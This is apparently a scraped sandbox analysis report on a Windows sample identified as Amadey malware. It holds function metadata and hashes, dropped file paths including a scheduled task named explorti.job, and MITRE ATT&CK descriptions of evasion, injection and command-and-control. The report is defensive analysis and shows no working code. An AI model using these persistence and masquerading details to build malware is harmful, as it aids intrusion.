Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 001008b3692753eac947b54cd15fee945565af949d9cf10f3c20d3690c2a2e17
Instruction ID: df7bcc39108d76c554164314a980ccea3baf273963b53905606662eff3144aa1
Opcode Fuzzy Hash: 001008b3692753eac947b54cd15fee945565af949d9cf10f3c20d3690c2a2e17
Instruction Fuzzy Hash: 5E51D734A002489BCF14DFA9C881EAE7BB6FF55318F148195E9199B352D732EE06CB90

Function 001970A9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 001970EB

Strings

.com, xrefs: 0019712B
.bat, xrefs: 0019711A
.exe, xrefs: 001970F8
.cmd, xrefs: 00197109

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: b3601648518593fb975007f3054391188a86216df1b03708702a65304faf71d5
Instruction ID: 8aa14e53636b326d0cb25967c29be81b25301db29c902ac869897d4d2a8b28bd
Opcode Fuzzy Hash: b3601648518593fb975007f3054391188a86216df1b03708702a65304faf71d5
Instruction Fuzzy Hash: 2601F937B2C715366E146019AD4277B57988FA2BB4B2A003EFD48F72C2EF54DC0241E0

Function 0019C990 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0019CA17

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: dd9a36b9297776e79358d3fff3778908152d7a9bed9f31aa7f3155fb1cf7a6d8
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 56B1F5329002869FDF15CF28C892BFEBBE5EF55350F15816AE885EB241E7349D41CBA0

Function 0017BA72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0017BACA
__Xtime_diff_to_millis2.LIBCPMT ref: 0017BAE4
_xtime_get.LIBCPMT ref: 0017BB07
__Xtime_diff_to_millis2.LIBCPMT ref: 0017BB13

Memory Dump Source

Source File: 0000000B.00000002.3734657366.0000000000161000.00000040.00000001.01000000.00000007.sdmp, Offset: 00160000, based on PE: true

Associated: 0000000B.00000002.3733314781.0000000000160000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3734657366.00000000001C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736359840.00000000001C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.00000000001CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000361000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000470000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.000000000047A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3736457960.0000000000488000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3745964964.0000000000489000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746755160.0000000000630000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3746784698.0000000000632000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_160000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 20cb22fe99e83dfc8322e09bea9ef4b5d2f755714c148dd18a2a089b39d3fdc8
Instruction ID: 41ea95666f01cccb1c7d618cc1a8a0c7f1b6ebe460515f0bff1dfc20790e6d68
Opcode Fuzzy Hash: 20cb22fe99e83dfc8322e09bea9ef4b5d2f755714c148dd18a2a089b39d3fdc8
Instruction Fuzzy Hash: EA213E71A04119AFDF00EFA4DC819BEBBB9EF58710F508069F905B7251DB71AD419BE0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 8vZMEr8sm9.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

C:\Windows\Tasks\explorti.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
8vZMEr8sm9.exe

Function 0016BD30 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Function 0016E410 Relevance: 13.5, Strings: 10, Instructions: 1000
COMMON

Function 00166590 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Function 00173520 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Function 00165DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 00167CE0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Function 00196DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 0019B4F5 Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Function 0019D4D4 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE